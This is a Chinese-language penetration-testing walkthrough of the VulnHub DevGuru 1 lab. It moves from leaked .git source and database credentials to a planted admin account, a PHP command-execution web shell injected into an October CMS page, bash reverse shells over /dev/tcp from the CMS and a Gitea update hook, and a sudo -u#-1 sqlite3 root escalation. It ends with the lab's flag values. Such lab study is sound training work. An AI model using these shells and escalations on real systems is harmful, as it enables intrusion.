VulnHub-DevGuru 1 渗透测试
字数 2173 2025-08-15 21:33:59
DevGuru 1 渗透测试实战教学文档
靶场概述
- 靶场名称: VulnHub-DevGuru 1
- 难度等级: 中级
- 目标: 获取user.txt和root.txt文件内容,并取得root权限
- 运行环境: VMware Workstation 16.x Pro (NAT网络模式)
- 描述: 模拟真实web开发公司的渗透测试评估,包含多个web应用和提权路径
信息收集阶段
1. 靶机IP获取
使用ifconfig或ip a命令查看kali网络接口,通过netdiscover或nmap扫描发现靶机IP:
nmap -sn 10.1.1.0/24
确认靶机IP为10.1.1.8
2. 端口扫描与服务识别
使用nmap进行全端口扫描和服务识别:
nmap -sC -sV -p- 10.1.1.8
扫描结果:
- 22/tcp: OpenSSH 7.6p1 Ubuntu 4
- 80/tcp: Apache httpd 2.4.29 (Ubuntu)
- 发现
.git目录泄露 - 网站生成器: DevGuru
- 发现
- 8585/tcp: Gitea (Git服务)
3. .git信息泄露利用
使用GitHack工具下载源码:
python GitHack.py http://10.1.1.8/.git/
关键发现:
config/database.php文件包含数据库凭据:- 用户名: october
- 密码: SQ66EBYx4GT3byXH
- 数据库: octoberdb
- 发现
adminer.php文件(数据库管理界面)
漏洞利用阶段
1. 通过Adminer访问数据库
访问http://10.1.1.8/adminer.php并使用获取的凭据登录:
- 服务器: localhost
- 用户名: october
- 密码: SQ66EBYx4GT3byXH
- 数据库: octoberdb
数据库操作:
- 查看
backend_users表,发现用户frank - 添加新用户(避免修改原有用户引起怀疑):
- 用户名: linda
- 密码: 使用bcrypt加密"123456" (可使用https://bcrypt-generator.com/)
- 加密后的密码示例:
$2y$10$BQp8nwtUiM9vJ.jm3U0XeO9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd
2. 登录后台管理系统
使用dirb扫描发现后台登录页面:
dirb http://10.1.1.8/
发现后台地址: http://10.1.1.8/backend
使用新建的凭据登录:
- 用户名: linda
- 密码: 123456
3. 注入恶意代码实现RCE
在CMS模块中添加代码:
- 在Code部分添加:
function onStart(){
$this->page["PoisonVar"] = system($_GET['cmd']);
}
- 在Markup部分添加调用:
{{ this.page.PoisonVar }}
反弹shell:
修改代码为直接执行反弹shell命令:
function onStart(){
$this->page["PoisonVar"] = system('bash -c \'exec bash -i &>/dev/tcp/10.1.1.6/4444 <&1\'');
}
在kali上监听:
nc -lvp 4444
权限提升阶段
1. 信息收集
使用LinEnum.sh脚本枚举系统信息:
wget http://10.1.1.6/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh > /tmp/linenum.txt
关键发现:
/var/www/html/gitea/app.ini.bak文件包含Gitea数据库凭据:- 用户名: gitea
- 密码: UfFPTF8C8jjxVF2m
2. 访问Gitea服务
通过Adminer修改Gitea用户密码:
- 访问
http://10.1.1.8/adminer.php - 使用Gitea凭据登录:
- 服务器: 127.0.0.1:3306
- 用户名: gitea
- 密码: UfFPTF8C8jjxVF2m
- 数据库: gitea
修改frank用户密码:
- 研究Gitea密码加密方式(源码位于
models/user.go) - 使用PBKDF2算法加密新密码"123456":
import hashlib, binascii
password = b"123456"
salt = b"Bop8nwtUiM"
dk = hashlib.pbkdf2_hmac("sha256", password, salt, 10000, dklen=50)
print(binascii.hexlify(dk))
- 更新数据库中的
passwd字段
3. 通过Gitea获取shell
- 登录Gitea(
http://10.1.1.8:8585/):- 用户名: frank
- 密码: 123456
- 在Git Hooks中添加反弹shell命令:
- 编辑
updatehook文件 - 添加:
bash -c 'exec bash -i &>/dev/tcp/10.1.1.6/5555 <&1' - 编辑
- 在kali上监听新端口:
nc -lvp 5555 - 提交代码变更触发hook执行
4. 提权至root
方法一: sudo提权
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
方法二: SUID提权
检查具有SUID权限的可执行文件:
find / -perm -4000 -type f 2>/dev/null
获取flag
-
user.txt:
cat /home/frank/user.txt内容:
22854d0aec6ba776f9d35bf7b0e00217 -
root.txt:
cat /root/root.txt内容:
96440606fb88aa7497cde5a8e68daf8f
总结与关键点
-
信息收集是关键:
- 全面扫描端口和服务
- 关注.git等源码泄露
- 检查备份文件(.bak)
-
横向移动技巧:
- 通过数据库修改用户凭证
- 利用多个web应用间的关联
-
提权方法:
- 利用sudo -u#-1绕过限制
- 查找SUID/SGID可执行文件
-
真实环境模拟:
- 多个web应用相互关联
- 需要多次信息收集和权限提升
- 密码重用和加密方式分析
参考工具
- GitHack: https://github.com/lijiejie/GitHack
- LinEnum: https://github.com/rebootuser/LinEnum
- Gitea源码: https://github.com/go-gitea/gitea
- 在线bcrypt生成器: https://bcrypt-generator.com/
- GTFOBins: https://gtfobins.github.io/